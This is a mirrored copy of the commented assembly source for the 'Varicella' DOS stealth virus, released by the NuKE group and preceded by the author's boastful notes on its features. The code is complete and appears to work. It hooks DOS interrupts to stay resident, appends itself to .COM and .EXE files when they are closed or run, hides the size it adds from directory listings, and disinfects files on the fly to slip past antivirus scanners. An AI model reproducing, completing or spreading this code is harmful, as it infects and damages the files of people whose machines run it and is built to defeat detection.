mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
866 lines
46 KiB
NASM
866 lines
46 KiB
NASM
|
|
NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
|
|
uK E-
|
|
KE "The Varicella Virus Source Codes -N
|
|
E- Nu
|
|
-N uK
|
|
Nu By KE
|
|
uK Rock Steady E-
|
|
KE -N
|
|
E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu
|
|
|
|
ahh, NuKE PoX viruses will never end... Well I noticed a few flaws and faults
|
|
in code in the old NuKE PoX virus version 2.0, which I wanted to refine. This
|
|
time I had a lot of time, and I _fully_ commented the source codes.
|
|
|
|
% Improvements %
|
|
|
|
The most major improvement is the infection routine, I have created a generic
|
|
method that will always use the same infection/disinfection routine. If you
|
|
remember NuKE PoX v2.0 you noticed that I copied whole blocks of the code twice,
|
|
which gave the virus a size of 1800 Bytes! This version hovers at 1483 bytes,
|
|
and it's far from tight, but it's EXTREMELY reliable! Meaning this baby should
|
|
never crash for any reason. And it has _many_ added features that N-Pox v2.0
|
|
didn't have!
|
|
|
|
|
|
% Introduction to the ideology of the Stealth Virus %
|
|
|
|
Like the SVC viruses, this virus will `disinfect' on the fly. And to the DIMWIT
|
|
that said SVC doesn't disinfect by rewriting the program on disk, GO CHECK YOUR
|
|
INFO NITWIT. The SVC viruses will disinfect a file when opened, the SVC virus
|
|
will actually remove the virus from the infected program. It will NOT attempt
|
|
a disinfection in memory only! It does have the ability to do this to a
|
|
certain extent, if you execute the file, and if you jump towards the end
|
|
of the file by Int21h/4202h the SVC virus will fool DOS to think that the file
|
|
is not infected, whereby it really is. But this method has a MAJOR flaw, one
|
|
flaw is exercised by F-Prot anti-virus, to defeat this dumb method.
|
|
|
|
The major flaw is that these viruses _cannot_ keep track of file pointers, it
|
|
would take too much code to exercise this. So if you read a file from the
|
|
beginning and read sequentially toward the end, surely enough you will
|
|
encounter the SVC virus, because it does not have the ability to keep track
|
|
of the file pointer. So in order to fix this, SVC will do a _real_ disinfection
|
|
of the file on disk. Therefore in all aspects the file will look clean, as it
|
|
_is_ clean! Also note, that the SVC viruses also infect System Device drivers,
|
|
this is _rarely_ noted, maybe because people use VSUM as a reference?
|
|
|
|
% Varicella Features %
|
|
|
|
The virus will only infect .com and .exe generic files. I have removed the
|
|
.ovl infections because of certain crashes that persist with certain large
|
|
programs. No virus to date successfully does this for some reason.
|
|
|
|
The virus will hide its file length by FCB directory method (Int21h/ah=11h,12h)
|
|
and by File Handles method (Int21h/ah=4Eh,4Fh).
|
|
|
|
The virus will disinfect the file on opens & extended opens via
|
|
(Int21h/ah=3Fh,6Ch). The virus will also disinfect files as they are executed,
|
|
(Int21h/ah=4Bh) and will later reinfect it when it has terminated.
|
|
|
|
The virus will infect on closing (Int21h/ah=3Eh) and it uses the very
|
|
sophisticated Job File Table method (The List of List).
|
|
|
|
Infection is denoted by the seconds field will equal the day of the month! This
|
|
method is _a lot_ better than having the seconds field to 60 or 62, because many
|
|
AV programs flag on invalid seconds field. Therefore now the seconds field will
|
|
be from a number 1->31 (Days in a month), and only with a 6% chance of an
|
|
invalid second field stamp. Also in order not to create problems, the last two
|
|
bytes of the virus _must_ be DBh,DBh. Therefore the virus uses TWO methods of
|
|
detecting infection, because we wouldn't want to `disinfect' a file that isn't
|
|
infected, so we must be 100% sure.
|
|
|
|
I found it no use to have a `fake' disinfection routine, whereby it fakes a
|
|
disinfection, for the reason that this method contains several flaws. And I
|
|
found that testing this virus on my PC with a 40 Meg MFM 65ms drive, showed
|
|
_very_ little signs of abnormality. So in speed wise, it's very fast, what is
|
|
a 1-2 millisecond more, (1/100s of a second).
|
|
|
|
When disinfecting a file, the virus even puts back the original seconds field
|
|
time stamp, leaving absolutely no trace of its existence! How many viruses do
|
|
that? huh?
|
|
|
|
% To Come %
|
|
|
|
Well I already have a multi-partition version of this virus, I'm currently
|
|
tring to add NED polymorphic possibilities to this virus. This will be a nice
|
|
task, as NED is variable in length, therefore I have to save the original
|
|
file length, or I will fix NED to be constant in length. Nevertheless you
|
|
should see it coming soon.
|
|
|
|
% About the Name %
|
|
|
|
Well I didn't want to call this N-Pox, because it has NO code similarities
|
|
with N-Pox, the only thing they share is the method of going resident.
|
|
|
|
But I called this "Varicella" because, Varicella is the medical term for
|
|
(Chicken Pox) that adults get! When a child gets the Pox, you call it Chicken
|
|
Pox, when an adult gets it, you call it Varicella! So I found it appropriate
|
|
to call this Varicella because it is perhaps the `adult' or later out come
|
|
of the N-Pox virus. <hehe>
|
|
|
|
;=<VARICELL.ASM>================================================================
|
|
; (c) NuKE Software Development 1991, 1992, 1993
|
|
;
|
|
; VARICELLA VIRUS (Size 1483)
|
|
;
|
|
; By Rock Steady
|
|
;
|
|
; TASM VARICELL;
|
|
; TLINK/T VARICELL;
|
|
;
|
|
virus_size equ last - init_virus ;virus size (bytes)
|
|
mut1 equ 3
|
|
mut2 equ 1
|
|
mut3 equ 103h ;offset in memory
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a,ds:seg_a
|
|
|
|
org 100h ;compile to .com
|
|
|
|
start: jmp init_virus
|
|
|
|
;-------------------------------------------------------------------------------
|
|
init_virus: call doit_now ;begin virus
|
|
|
|
doit_now: pop bp ;pop call offset
|
|
sub bp,offset doit_now ;fix it with pointer
|
|
|
|
push ax ;save registers
|
|
push ds
|
|
push es
|
|
|
|
mov ax,0abcdh ;check if virus is
|
|
int 13h ;alive in memory
|
|
jmp next_code1 ;force jump
|
|
|
|
virus_here: jmp exit_com ;error jump exit
|
|
|
|
next_code1: cmp bx,0abcdh ;cmp bx if virus alive
|
|
jnz install_virus
|
|
jmp virus_here ;yes, skip memory part
|
|
|
|
install_virus: push bx ;save registers
|
|
push cx
|
|
push dx
|
|
push si
|
|
push di
|
|
push ds
|
|
|
|
xor dx,dx ;0 value to dx
|
|
mov ds,dx ;put that in ds
|
|
les si,dword ptr ds:[0084h] ;get int21 vector
|
|
mov word ptr cs:[int21][bp],si ;save int21 offset
|
|
mov word ptr cs:[int21+2][bp],es ;save int21 segment
|
|
|
|
les si,dword ptr ds:[0070h] ;get int1c vector
|
|
mov word ptr cs:[int1c][bp],si ;save int1c offset
|
|
mov word ptr cs:[int1c+2][bp],es ;save int1c segment
|
|
|
|
les si,dword ptr ds:[004ch] ;get int13 vector
|
|
mov word ptr cs:[int13][bp],si ;save int13 offset
|
|
mov word ptr cs:[int13+2][bp],es ;save int13 segment
|
|
|
|
pop ds ;DS=PSP (.exe only)
|
|
push ds ;save DS
|
|
mov ax,ds ;ds=cx
|
|
dec ax ;dec cx, cx=mcb
|
|
mov es,ax ;es=cx, mcb
|
|
mov bx,es:mut1 ;bx=es:0003, mem size
|
|
mov dx,virus_size ;dx=virus size (bytes)
|
|
mov cl,4
|
|
shr dx,cl ;convert bytes to 16k
|
|
add dx,4 ;paragraphs + 1
|
|
mov cx,es ;cx=psp segment
|
|
sub bx,dx ;sub virus size from
|
|
inc cx ;new mem address
|
|
mov es,cx ;new segment
|
|
mov ah,4ah ;set the block size
|
|
int 21h
|
|
|
|
jc exit_mem
|
|
mov ah,48h
|
|
dec dx ;alloc the mem
|
|
mov bx,dx ;bx=# of para blocka
|
|
int 21h
|
|
|
|
jc exit_mem
|
|
dec ax ;new segment add
|
|
mov es,ax ;ax=es=mcb
|
|
mov cx,8h ;DOS is the owner
|
|
mov es:mut2,cx ;put it in mcb
|
|
sub ax,0fh
|
|
mov di,mut3 ;new offset to go
|
|
mov es,ax ;es=segment
|
|
mov si,bp ;add delta offset
|
|
add si,offset init_virus ;begining of virus
|
|
mov cx,virus_size ;our size
|
|
push cs ;get the correct
|
|
pop ds ;segment in ds
|
|
cld ;clear direction to +
|
|
repne movsb ;move us
|
|
|
|
mov ds,cx ;ds=0000
|
|
cli ;disable ints
|
|
mov word ptr ds:[0084h],offset int21_handler ;hook int21
|
|
mov word ptr ds:[0086h],es
|
|
mov word ptr ds:[0070h],offset int1c_handler ;hook int1c
|
|
mov word ptr ds:[0072h],es
|
|
mov word ptr ds:[004ch],offset int13_handler ;hook int13
|
|
mov word ptr ds:[004eh],es
|
|
sti ;enable ints
|
|
|
|
exit_mem: pop ds ;restore 'em
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
|
|
exit_com: cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file?
|
|
je exit_exe_file ;yupe exit exe file
|
|
cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file?
|
|
je exit_exe_file ;yupe exit exe file
|
|
push cs ;fix cs=ds for .com
|
|
pop ds
|
|
mov bx,offset buffer ;get first 3 bytes
|
|
add bx,bp ;fix delta
|
|
mov ax,[bx] ;move first 2 bytes
|
|
mov word ptr ds:[100h],ax ;put em in the beginning
|
|
inc bx ;inc pointer
|
|
inc bx
|
|
mov al,[bx] ;get last of 3rd byte
|
|
mov byte ptr ds:[102h],al ;put that in place
|
|
pop es
|
|
pop ds
|
|
pop word ptr cs:[ax_reg][bp] ;save ax else where
|
|
mov ax,100h
|
|
push ax ;fake a CALL & RETN
|
|
mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal
|
|
retn ;link to 100h
|
|
|
|
exit_exe_file: mov dx,ds ;get psp=ds seg
|
|
add dx,10h ;add 16bytes to seg
|
|
pop es
|
|
pop ds
|
|
pop ax
|
|
add word ptr cs:[buffer+22][bp],dx ;fix segments
|
|
add dx,word ptr cs:[buffer+14][bp]
|
|
cli
|
|
mov ss,dx ;restore ss
|
|
mov sp,word ptr cs:[buffer+16][bp] ;and sp
|
|
sti
|
|
jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt.
|
|
|
|
ax_reg dd 0
|
|
bp_reg dd 0
|
|
int13 dd 0
|
|
int1c dd 0
|
|
int21 dd 0
|
|
;===============================================================================
|
|
; Int 13h Handler
|
|
;===============================================================================
|
|
int13_handler:
|
|
cmp ax,0abcdh ;virus test
|
|
je int13_test ;yupe
|
|
|
|
int13call: jmp dword ptr cs:[int13] ;original int13
|
|
|
|
int13_test: mov bx,ax ;fix
|
|
iret
|
|
;===============================================================================
|
|
; Int 1Ch Handler
|
|
;===============================================================================
|
|
int1c_handler:
|
|
iret
|
|
;-------------------------------------------------------------------------------
|
|
; FCB Dir Stealth Routine (File Find)
|
|
;-------------------------------------------------------------------------------
|
|
fcb_dir: call calldos21 ;get the fcb block
|
|
test al,al ;test for error
|
|
jnz fcb_out ;jmp if error
|
|
push ax ;save registers
|
|
push bx
|
|
push cx
|
|
push es
|
|
mov ah,51h ;get current psp
|
|
call calldos21 ;call int21
|
|
|
|
mov es,bx ;es=segment of psp
|
|
cmp bx,es:[16h] ;psp of command.com?
|
|
jnz fcb_out1 ;no, then jmp
|
|
mov bx,dx ;ds:bx=fcb
|
|
mov al,[bx] ;1st byte of fcb
|
|
push ax ;save it
|
|
mov ah,2fh ;get dta
|
|
call calldos21 ;es:bx <- dta
|
|
|
|
pop ax ;get first byte
|
|
inc al ;al=ffh therefor al=ZR
|
|
jnz fcb_old ;if != ZR jmp
|
|
add bx,7h ;extended fcb here, +7
|
|
fcb_old: mov ax,es:[bx+17h] ;get file time stamp
|
|
mov cx,es:[bx+19h] ;get file date stamp
|
|
and ax,1fh ;unmask seconds field
|
|
and cx,1fh ;unmask day of month
|
|
xor ax,cx ;are they equal?
|
|
jnz fcb_out1 ;nope, exit then
|
|
sub word ptr es:[bx+1dh],virus_size ;sub away virus_size
|
|
sbb word ptr es:[bx+1fh],0 ;sub with carry flag
|
|
|
|
fcb_out1: pop es ;restore registers
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
fcb_out: iret ;return control
|
|
;-------------------------------------------------------------------------------
|
|
; ASCIIZ Dir Stealth Routine (File Find)
|
|
;-------------------------------------------------------------------------------
|
|
dta_dir: call calldos21 ;get results to dta
|
|
jb dta_out ;if error, split
|
|
push ax ;save register
|
|
push bx
|
|
push cx
|
|
push es
|
|
mov ah,2fh ;get current dta
|
|
call calldos21 ;es:bx <- dta
|
|
|
|
mov ax,es:[bx+16h] ;get file time stamp
|
|
mov cx,es:[bx+18h] ;get file date stamp
|
|
and ax,1fh ;unmask seconds field
|
|
and cx,1fh ;unmask day of month
|
|
xor ax,cx ;are they equal
|
|
jnz dta_out1 ;nope, exit then
|
|
sub word ptr es:[bx+1ah],virus_size ;sub away virus_size
|
|
sbb word ptr es:[bx+1ch],0 ;sub with carry flag
|
|
|
|
dta_out1: pop es ;restore registers
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
dta_out: retf 0002h ;pop 2 words of stack
|
|
;===============================================================================
|
|
; Int 21h Handler
|
|
;===============================================================================
|
|
int21_handler:
|
|
cmp ah,11h ;FCB find first match
|
|
je old_dir
|
|
cmp ah,12h ;FCB find next match
|
|
je old_dir
|
|
cmp ah,4eh ;Find first match
|
|
je new_dir
|
|
cmp ah,4fh ;Find next match
|
|
je new_dir
|
|
cmp ah,3dh ;Opening a file
|
|
je file_open
|
|
cmp ah,6ch ;Ext_opening a file
|
|
je file_ext_open
|
|
cmp ah,3eh ;closing a file
|
|
je file_close
|
|
cmp ah,4bh ;Execution of a file
|
|
je file_execute
|
|
|
|
int21call: jmp dword ptr cs:[int21] ;original int21
|
|
|
|
old_dir: jmp fcb_dir ;fcb file find
|
|
|
|
new_dir: jmp dta_dir ;new asciiz file find
|
|
|
|
file_open: jmp open_file ;disinfect opening file
|
|
|
|
file_ext_open: jmp open_ext_file ;disinfect opening file
|
|
|
|
file_close: jmp close_file ;infect closing file
|
|
|
|
file_execute: call check_extension ;check for ok ext
|
|
cmp byte ptr cs:[com_ext],1 ;is it a com?
|
|
je exec_disinfect ;yupe disinfect it
|
|
cmp byte ptr cs:[exe_ext],1 ;is it a exe?
|
|
je exec_disinfect ;yupe disinfect it
|
|
jmp SHORT int21call
|
|
|
|
exec_disinfect: call exec_disinfect1 ;Disinfect file
|
|
|
|
mov word ptr cs:[ax_reg],dx
|
|
pushf ;fake an int
|
|
call dword ptr cs:[int21] ;call dos
|
|
xchg word ptr cs:[ax_reg],dx ;restore dx
|
|
|
|
mov byte ptr cs:[close],0 ;reset flag..
|
|
push ax ;store 'em
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push si
|
|
push di
|
|
push es
|
|
push ds
|
|
closing_infect: mov ax,3524h ;get error handler
|
|
call calldos21 ;call dos
|
|
|
|
push es ;save es:bx= int_24
|
|
push bx ;error handler
|
|
push ds ;ds:dx= asciiz string
|
|
push dx
|
|
push cs ;cs=ds
|
|
pop ds
|
|
mov dx,offset int21_handler ;hook error handler
|
|
mov ax,2524h ;with our int24h
|
|
call calldos21
|
|
pop dx ;restore ds:dx asciiz
|
|
pop ds ;string
|
|
|
|
cmp byte ptr cs:[close],0 ;Are we closing file?
|
|
je exec_get_att ;nope, then jmp
|
|
mov ax,word ptr cs:[handle] ;yupe, ax=file handle
|
|
jmp exec_open_ok ;jmp so you don't open
|
|
;the file twice...
|
|
exec_get_att: mov ax,4300h ;get file attribs
|
|
call calldos21 ;call dos
|
|
jnc exec_attrib ;no, error jmp
|
|
jmp exec_exit2 ;ERROR - split
|
|
|
|
exec_attrib: mov byte ptr cs:[attrib],cl
|
|
test cl,1 ;check bit 0 (read_only)
|
|
jz exec_attrib_ok ;if bit0=0 jmp
|
|
dec cx ;else turn of bit_0
|
|
mov ax,4301h ;write new attribs
|
|
call calldos21 ;call dos
|
|
|
|
exec_attrib_ok: mov ax,3d02h ;open file for r/w
|
|
call calldos21 ;call dos
|
|
jnc exec_open_ok ;ok, no error jmp
|
|
jmp exec_exit2 ;ERROR - split
|
|
|
|
exec_open_ok: xchg bx,ax ;bx=file handler
|
|
push cs ;cs=ds
|
|
pop ds
|
|
mov ax,5700h ;get file time/date
|
|
call calldos21 ;call dos
|
|
|
|
mov word ptr cs:[old_time],cx ;save file time
|
|
mov word ptr cs:[org_time],cx
|
|
mov word ptr cs:[old_date],dx ;save file date
|
|
and cx,1fh ;unmask second field
|
|
and dx,1fh ;unmask date field
|
|
xor cx,dx ;are they equal?
|
|
jnz exec_time_ok ;nope, file not infected
|
|
jmp exec_exit3 ;FILE INFECTED
|
|
|
|
exec_time_ok: and word ptr cs:[old_time],0ffe0h ;reset second bits
|
|
or word ptr cs:[old_time],dx ;seconds=day of month
|
|
|
|
mov ax,4200h ;reset ptr to beginning
|
|
xor cx,cx ;(as opened files may
|
|
xor dx,dx ; have ptr anywhere,
|
|
call calldos21 ; so be smart!)
|
|
|
|
mov word ptr cs:[marker],0DBDBh ;File Infection marker
|
|
mov dx,offset ds:[buffer] ;ds:dx buffer
|
|
mov cx,18h ;read 18h bytes
|
|
mov ah,3fh ;read from handle
|
|
call calldos21 ;call dos
|
|
|
|
jc exec_exit1 ;error? if yes jmp
|
|
sub cx,ax ;did we read 18h bytes?
|
|
jnz exec_exit1 ;if no exit
|
|
mov dx,cx ;cx=0 dx=0
|
|
mov ax,4202h ;jmp to EOF
|
|
call calldos21 ;call dos
|
|
|
|
jc exec_exit1 ;error? exit if so.
|
|
mov word ptr cs:[filesize+2],ax ;save lower 16bit fileSz
|
|
mov word ptr cs:[filesize],dx ;save upper 16bit fileSz
|
|
call chkbuf ;check if .exe
|
|
jz exec_cool ;jmp if .exe file
|
|
cmp ax,0FFF0h - virus_size ;64k-256-virus < 64k?
|
|
jb exec_cool ;if less jmp!
|
|
|
|
exec_exit1: jmp exec_exit3 ;exit!
|
|
|
|
exec_cool: mov dx,offset init_virus ;ds:dx=virus beginning
|
|
mov cx,virus_size ;cx=virus size
|
|
mov ah,40h ;write to handle
|
|
call calldos21 ;call dos
|
|
jc exec_exit1 ;error? if yes exit
|
|
sub cx,ax ;cx=ax bytes?
|
|
jnz exec_exit1 ;not equal exit
|
|
mov dx,cx ;cx=0 dx=0
|
|
mov ax,4200h ;jmp to top of file
|
|
call calldos21 ;call dos
|
|
|
|
jc exec_exit1 ;error, then exit
|
|
mov ax,word ptr cs:[filesize+2] ;ax=lower 16bit fileSize
|
|
call chkbuf ;check if .exe
|
|
jnz exec_com_file ;if !=.exe jmp
|
|
mov dx,word ptr cs:[filesize] ;get upper 16bit
|
|
|
|
mov cx,4 ;cx=0004
|
|
mov si,word ptr cs:[buffer+8] ;get exe header size
|
|
shl si,cl ;mul by 16
|
|
sub ax,si ;exe_header - filesize
|
|
sbb dx,0h ;sub with carry
|
|
|
|
mov cx,10h ;cx=0010
|
|
div cx ;ax=length in para
|
|
;dx=remaider
|
|
mov word ptr cs:[buffer+20],dx ;New IP offset address
|
|
mov word ptr cs:[buffer+22],ax ;New CS (In paragraphs)
|
|
add dx,virus_size+100h ;Dx=virus_size+256
|
|
|
|
mov word ptr cs:[buffer+16],dx ;New SP entry
|
|
mov word ptr cs:[buffer+14],ax ;New SS (in para)
|
|
add word ptr cs:[buffer+10],(virus_size)/16+1 ;min para
|
|
mov ax,word ptr cs:[buffer+10] ;ax=min para needed
|
|
cmp ax,word ptr cs:[buffer+12] ;cmp with max para
|
|
jb exec_size_ok ;jmp if ok!
|
|
mov word ptr cs:[buffer+12],ax ;nop, enter new max
|
|
|
|
exec_size_ok: mov ax,word ptr cs:[buffer+2] ;ax=file size
|
|
add ax,virus_size ;add virus to it
|
|
push ax ;push it
|
|
and ah,1 ;
|
|
mov word ptr cs:[buffer+2],ax ;restore new value
|
|
pop ax ;pop ax
|
|
mov cl,9 ;
|
|
shr ax,cl ;
|
|
add word ptr cs:[buffer+4],ax ;enter fileSz + header
|
|
mov dx,offset buffer ;ds:dx=new exe header
|
|
mov cx,18h ;cx=18h bytes to write
|
|
jmp SHORT exec_write_it ;jmp...
|
|
|
|
exec_com_file: sub ax,3 ;sub 3 for jmp address
|
|
mov word ptr cs:[buffer+1],ax ;store new jmp value
|
|
mov byte ptr cs:[buffer],0E9h ;E9h=JMP
|
|
mov dx,offset buffer ;ds:dx=buffer
|
|
mov cx,3 ;cx=3 bytes
|
|
|
|
exec_write_it: mov ah,40h ;write to file handle
|
|
call calldos21 ;call dos
|
|
|
|
mov dx,word ptr cs:[old_date] ;restore old date
|
|
mov cx,word ptr cs:[old_time] ;restore old time
|
|
mov ax,5701h ;write back to file
|
|
call calldos21 ;call dos
|
|
|
|
exec_exit3: mov ah,3eh ;close file
|
|
call calldos21 ;call dos
|
|
|
|
exec_exit2: pop dx ;restore es:bx (the
|
|
pop ds ;original int_24)
|
|
mov ax,2524h ;put back to place
|
|
call calldos21 ;call dos
|
|
|
|
pop ds
|
|
pop es
|
|
pop di ;pop registers
|
|
pop si
|
|
pop dx
|
|
xor cx,cx
|
|
mov cl,byte ptr cs:[attrib] ;get old file attrib
|
|
mov ax,4301h ;put them back
|
|
call calldos21 ;call dos
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
|
|
cmp byte ptr cs:[close],0 ;get called by exec?
|
|
je exec_good_bye ;yep, then jmp
|
|
iret ;else exit now.
|
|
|
|
exec_good_bye: mov dx,word ptr cs:[ax_reg] ;restore dx
|
|
iret ;iret
|
|
;-------------------------------------------------------------------------------
|
|
; Close File Int21h/ah=3Eh
|
|
;-------------------------------------------------------------------------------
|
|
close_file: cmp bx,4h ;file handler > 4?
|
|
ja close_cont ;jmp if above
|
|
jmp int21call ;else exit
|
|
|
|
close_cont: push ax ;save 'em
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push si
|
|
push di
|
|
push es
|
|
push ds
|
|
|
|
push bx ;save file handler
|
|
mov ax,1220h ;get job file table!
|
|
int 2fh ;call multiplex
|
|
;es:di=JFT for handler
|
|
mov ax,1216h ;get system file table
|
|
mov bl,es:[di] ;bl=SFT entry
|
|
int 2fh ;call multiplex
|
|
pop bx ;save file handler
|
|
|
|
add di,0011h
|
|
mov byte ptr es:[di-0fh],02h ;set to read/write
|
|
|
|
add di,0017h
|
|
cmp word ptr es:[di],'OC' ;check for .COM file
|
|
jne closing_next_try ;no try next ext
|
|
cmp byte ptr es:[di+2h],'M' ;check last letter
|
|
je closing_cunt3 ;no, file no good, exit
|
|
|
|
closing_exit: jmp closing_nogood ;exit
|
|
|
|
closing_next_try:
|
|
cmp word ptr es:[di],'XE' ;check for .EXE file
|
|
jne closing_exit ;no, exit
|
|
cmp byte ptr es:[di+2h],'E' ;check last letter
|
|
jne closing_exit ;no, exit
|
|
|
|
closing_cunt3: mov byte ptr cs:[close],1 ;set closing flag
|
|
mov word ptr cs:[handle],bx ;save handler
|
|
jmp closing_infect ;infect file!
|
|
|
|
closing_nogood: pop ds ;restore 'em
|
|
pop es
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
jmp int21call ;good bye, baby...
|
|
;-------------------------------------------------------------------------------
|
|
; Execute Disinfecting routine
|
|
;-------------------------------------------------------------------------------
|
|
exec_disinfect1 PROC
|
|
push ax ;save registers
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push ds
|
|
|
|
mov ax,4300h ;get file attribs
|
|
call calldos21 ;call dos
|
|
|
|
test cl,1h ;is Read-only flag?
|
|
jz okay_dis ;no, jmp attribs ok
|
|
dec cx ;turn off bit 0
|
|
mov ax,4301h ;write new attribs
|
|
call calldos21 ;call dos
|
|
jnc okay_dis ;No error? then jmp
|
|
jmp end_dis ;error? exit!
|
|
|
|
okay_dis: mov ax,3d02h ;open file for r/w
|
|
call calldos21 ;call dos
|
|
jnc dis_fileopen ;No error? then jmp
|
|
jmp end_dis ;Error? exit!
|
|
|
|
dis_fileopen: xchg bx,ax ;bx=file handle
|
|
mov ax,5700h ;get file time/date
|
|
call calldos21 ;call dos
|
|
|
|
mov word ptr cs:[old_time],cx ;save file time
|
|
mov word ptr cs:[old_date],dx ;save file date
|
|
and cx,1fh ;unmask second field
|
|
and dx,1fh ;unmask date field
|
|
xor cx,dx ;are they equal?
|
|
jnz half_way ;nope, file not infected
|
|
|
|
mov ax,4202h ;jmp to EOF
|
|
xor cx,cx ;cx=0
|
|
xor dx,dx ;dx=0
|
|
call calldos21 ;call dos
|
|
|
|
push cs ;cs=ds
|
|
pop ds ;
|
|
mov cx,dx ;dx:ax=file size
|
|
mov dx,ax ;save to cx:dx
|
|
push cx ;save upper fileSz
|
|
push dx ;save lower fileSz
|
|
|
|
sub dx,1Ch ;filesize-1C=origin byte
|
|
sbb cx,0 ;sub with carry
|
|
mov ax,4200h ;position ptr
|
|
call calldos21 ;call dos
|
|
mov ah,3fh ;open file
|
|
mov cx,1Ch ;read last 1Ch bytes
|
|
mov dx,offset org_time ;put in ds:dx
|
|
call calldos21 ;call dos
|
|
call chkbuf ;Did it work?
|
|
je half ;Yes,Jmp
|
|
cmp word ptr ds:[marker],0DBDBh ;File REALLY Infected?
|
|
je half ;Yes, then jmp
|
|
|
|
pop dx
|
|
pop cx
|
|
half_way: jmp end_dis1 ;exit, error!
|
|
|
|
half: xor cx,cx ;cx=0
|
|
xor dx,dx ;dx=0
|
|
mov ax,4200h ;pointer to top of file
|
|
call calldos21 ;call dos
|
|
|
|
mov ah,40h ;write function
|
|
mov dx,offset buffer ;ds:dx=buffer
|
|
mov cx,18h ;cx=18h bytes to write
|
|
call chkbuf ;check if .exe?
|
|
jz SHORT dis_exe_jmp ;yupe, jmp
|
|
mov cx,3h ;else write 3 bytes
|
|
dis_exe_jmp: call calldos21 ;call dos
|
|
|
|
pop dx ;pop original fileSz
|
|
pop cx
|
|
|
|
sub dx,virus_size ;Sub with virus_size
|
|
sbb cx,0 ;sub with carry
|
|
mov ax,4200h ;ptr top of virus
|
|
call calldos21 ;call dos
|
|
|
|
mov ah,40h ;write function
|
|
xor cx,cx ;write 0 bytes
|
|
call calldos21 ;call dos! (new EOF)
|
|
|
|
mov cx,word ptr ds:[org_time] ;get original time
|
|
mov dx,word ptr ds:[old_date] ;get original date
|
|
mov ax,5701h ;put back to file
|
|
call calldos21 ;call dos
|
|
|
|
end_dis1: mov ah,3eh ;close file handle
|
|
call calldos21 ;call dos
|
|
|
|
end_dis: pop ds ;restore values
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
ret
|
|
exec_disinfect1 ENDP
|
|
;-------------------------------------------------------------------------------
|
|
; Open File by DOS Int21h/ah=6ch
|
|
;-------------------------------------------------------------------------------
|
|
open_ext_file: push dx ;save DX
|
|
mov dx,si ;asciiz=DS:DX now
|
|
jmp open_ext ;jmp
|
|
;-------------------------------------------------------------------------------
|
|
; Open File by DOS Int21h/ah=3Dh
|
|
;-------------------------------------------------------------------------------
|
|
open_file: push dx ;save dx (asciiz)
|
|
open_ext: call check_extension ;check extension
|
|
cmp byte ptr cs:[com_ext],1 ;is it a .com?
|
|
je open_ok_ext ;yep, then jmp
|
|
cmp byte ptr cs:[exe_ext],1 ;is it a .exe?
|
|
je open_ok_ext ;yep, them jmp
|
|
jmp open_exit ;ext no good, exit!
|
|
|
|
open_ok_ext: call exec_disinfect1 ;disinfect file!
|
|
open_exit: pop dx ;restore dx
|
|
jmp int21call ;exit to dos...
|
|
;-------------------------------------------------------------------------------
|
|
; Checks Buffer (EXE) Header
|
|
;-------------------------------------------------------------------------------
|
|
chkbuf PROC
|
|
push si ;save register
|
|
mov si,word ptr cs:[buffer] ;get first word
|
|
cmp si,5A4Dh ;si=ZM?
|
|
je chkbuf_ok ;if yes exit
|
|
cmp si,4D5Ah ;si=MZ?
|
|
chkbuf_ok: pop si ;pop register
|
|
ret
|
|
chkbuf ENDP
|
|
;-------------------------------------------------------------------------------
|
|
; Check file Extension
|
|
;-------------------------------------------------------------------------------
|
|
check_extension PROC
|
|
pushf ;save flags
|
|
push cx ;save cx,si
|
|
push si
|
|
mov si,dx ;ds:[si]=asciiz
|
|
mov cx,128 ;scan 128 bytes max
|
|
mov byte ptr cs:[com_ext],0 ;reset .com flag
|
|
mov byte ptr cs:[exe_ext],0 ;reset .exe flag
|
|
|
|
check_ext: cmp byte ptr ds:[si],2Eh ;scan for "."
|
|
je check_ext1 ;jmp if found
|
|
inc si ;else inc and loop
|
|
loop check_ext ;loop me
|
|
|
|
check_ext1: inc si ;inc asciiz ptr
|
|
cmp word ptr ds:[si],'OC' ;is it .COM
|
|
jne check_ext2 ; ~~
|
|
cmp byte ptr ds:[si+2],'M' ;is it .COM
|
|
je com_file_ext ; ~
|
|
|
|
check_ext2: cmp word ptr ds:[si],'oc' ;is it .com
|
|
jne check_ext3 ; ~~
|
|
cmp byte ptr ds:[si+2],'m' ;is it .com
|
|
je com_file_ext ; ~
|
|
|
|
check_ext3: cmp word ptr ds:[si],'XE' ;is it .EXE
|
|
jne check_ext4 ; ~~
|
|
cmp byte ptr ds:[si+2],'E' ;is it .EXE
|
|
je exe_file_ext ; ~
|
|
|
|
check_ext4: cmp word ptr ds:[si],'xe' ;is it .exe
|
|
jne check_ext_exit ; ~~
|
|
cmp byte ptr ds:[si+2],'e' ;is it .exe
|
|
je exe_file_ext ; ~
|
|
jmp check_ext_exit ;neither exit
|
|
|
|
com_file_ext: mov byte ptr cs:[com_ext],1 ;found .com file
|
|
jmp SHORT check_ext_exit ;jmp short
|
|
exe_file_ext: mov byte ptr cs:[exe_ext],1 ;found .exe file
|
|
|
|
check_ext_exit: pop si ;restore
|
|
pop cx
|
|
popf ;save flags
|
|
ret
|
|
|
|
com_ext db 0 ;flag on=.com file
|
|
exe_ext db 0 ;flag on=.exe file
|
|
check_extension ENDP
|
|
;-------------------------------------------------------------------------------
|
|
; Original Int21h
|
|
;-------------------------------------------------------------------------------
|
|
calldos21 PROC
|
|
pushf ;fake int call
|
|
call dword ptr cs:[int21] ;call original int_21
|
|
ret
|
|
calldos21 ENDP
